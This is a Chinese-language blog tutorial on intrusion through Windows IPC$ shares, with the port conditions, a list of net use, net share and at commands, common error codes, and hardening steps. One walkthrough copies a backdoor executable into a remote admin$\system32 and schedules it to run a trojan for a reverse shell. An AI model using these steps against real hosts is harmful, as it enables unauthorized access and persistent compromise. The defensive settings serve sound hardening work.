IPC$入侵
IPC$入侵
IPC$概念
IPC$ (Internet Process Connection) 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问,在远程管理计算机和查看计算机的共享资源时使用。在同一时间内,两个IP之间只允许建立一个IPC$连接。NT2000在提供了 ipc$ 功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$、D$、E$……)和系统目录(C:\windows)共享。内网渗透中,会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测。
利用条件
基础知识:
- SMB: (Server Message Block) Windows协议族,用于文件打印共享的服务;
- NBT: (NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。
- 在WindowsNT中SMB基于NBT实现,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现
对于win2000客户端(发起端)来说:
- 如果在允许NBT的情况下连接服务器时,客户端会同时尝试访问139和445端口,如果445端口有响应,那么就发送RST包给139端口断开连接,用455端口进行会话,当445端口无响应时,才使用139端口,如果两个端口都没有响应,则会话失败;
- 如果在禁止NBT的情况下连接服务器时,那么客户端只会尝试访问445端口,如果445端口无响应,那么会话失败。
对于win2000服务器端来说:
- 如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放(LISTENING);
- 如果禁止NBT,那么只有445端口开放。
IPC$会话端口要求符合以上原则,所以要想建立IPC$会话需要满足两个条件
1)139或445端口开启:ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的。
2)管理员开启了默认共享:默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问。
IPC$操作命令
net use #查看连接
net share #查看本地开启的共享
net share ipc$ #开启ipc$共享
net share ipc$ /del #删除ipc$共享
net share c$ /del #删除C盘共享
net share admin$ /del #删除C:\Windows共享
net use \\192.168.1.2\ipc$ /u:"" "" #与192.168.10.15建立ipc空连接
net use \\192.168.1.2 /u:"" "" #与192.168.10.15建立ipc空连接,可以吧ipc$去掉
net use \\192.168.1.2 /u:"administrator" "admin" #以administrator身份与192.168.1.2建立ipc连接
net use \\192.168.1.2 /del #删除ipc连接
net use \\192.168.1.2\c$ /u:"administrator" "admin" #建立C盘共享
dir \\192.168.1.2\c$ #查看192.168.1.2 C盘文件
dir \\192.168.1.2\c$\test #查看192.168.1.2 C盘文件下的test目录
dir \\192.168.1.2\c$\test\test.exe #查看192.168.1.2 C盘文件下的test目录下的test.exe文件
net use \\192.168.1.2\c$ /del #删除该C盘共享连接
net use g: \\192.168.1.2\c$ /u:"administrator" "admin" #将目标C盘映射到本地K盘
net use g: /del #删除该映射
copy test.exe \\192.168.1.2\C$ #上传exe到C盘
net time \\192.168.1.2 #查看时间
at \\192.168.1.2\C$ 12:25 test.exe #at运行程序 设置的时间要比主机时间快,不然无法启动
net view \\IP #查看target的共享
netstat -A IP #获取target的user列表
netstat -ano | findstr "port" #查看端口号对应的PID
tasklist | findstr "PID" #查看进程号对应的程序
实战经典利用
C:\>net use \\192.168.1.1\ipc$ /user:administrator "" #建立一个空链接,账户要有权限
C:\>net view \\192.168.1.1 #查看远程的共享资源
C:\>copy test.exe \\192.168.1.1\admin$\system32 #将一次性后门test.exe复制到对方的系统文件夹下,前提是admin$开启
C:\>net time \\192.168.1.1 #查看远程主机的当前时间
C:\>at \\192.168.1.1 时间 test.exe #设置时间执行木马反弹shell
IPC$连接失败的原因
1)你的系统不是NT或以上操作系统。
2)对方没有打开ipc$默认共享。
3)不能成功连接目标的139,445端口。
4)命令输入错误。
5)用户名或密码错误。
常见错误号
1)错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限。
2)错误号51,Windows 无法找到网络路径:网络有问题。
3)错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤)。
4)错误号67,找不到网络名:你的lanmanworkstation服务未启动;目标删除了ipc$。
5)错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连。
6)错误号1326,未知的用户名或错误密码:原因很明显了。
7)错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动。(连接域控会出现此情况)。
8)错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。
防护措施
- 禁止空连接进行枚举
运行regedit,找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:1,如果设置为"1",一个匿名用户仍然可以连接到IPC$共享,但无法通过这种连接得到列举SAM帐号和共享信息的权限;在Windows 2000 中增加了"2",未取得匿名权的用户将不能进行ipc$空连接。建议设置为1。如果上面所说的主键不存在,就新建一个再改键值。如果你觉得改注册表麻烦,可以在本地安全设置中设置此项: 在本地安全设置-本地策略-安全选项-"对匿名连接的额外限制"
- 禁止默认共享
#删除共享(每次输入一个)
net share #查看共享
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)
#停止server服务
net stop server /y (重新启动后server服务会重新开启)
#禁止自动打开默认共享
运行regedit
server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。
pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
这两个键值在默认情况下在主机上是不存在的,需要自己手动添加,修改后重起机器使设置生效。
#关闭ipc$和默认共享依赖的服务:server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-选已禁用,这时可能会有提示说:XXX服务也会关闭是否继续,因为还有些次要的服务要依赖于server服务,不要管它。
#屏蔽139,445端口,都要屏蔽
1)139端口可以通过禁止NBT来屏蔽,本地连接-TCP/IT属性-高级-WINS-选"禁用TCP/IT上的NETBIOS"
2)445端口可以通过修改注册表来屏蔽。添加一个键值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
value: 0
修改完后重启机器
#设置复杂密码,防止通过ipc$穷举出密码
参考链接
本文来自博客园,作者:九天揽月丶,转载请注明原文链接:https://www.cnblogs.com/-meditation-/p/15695185.html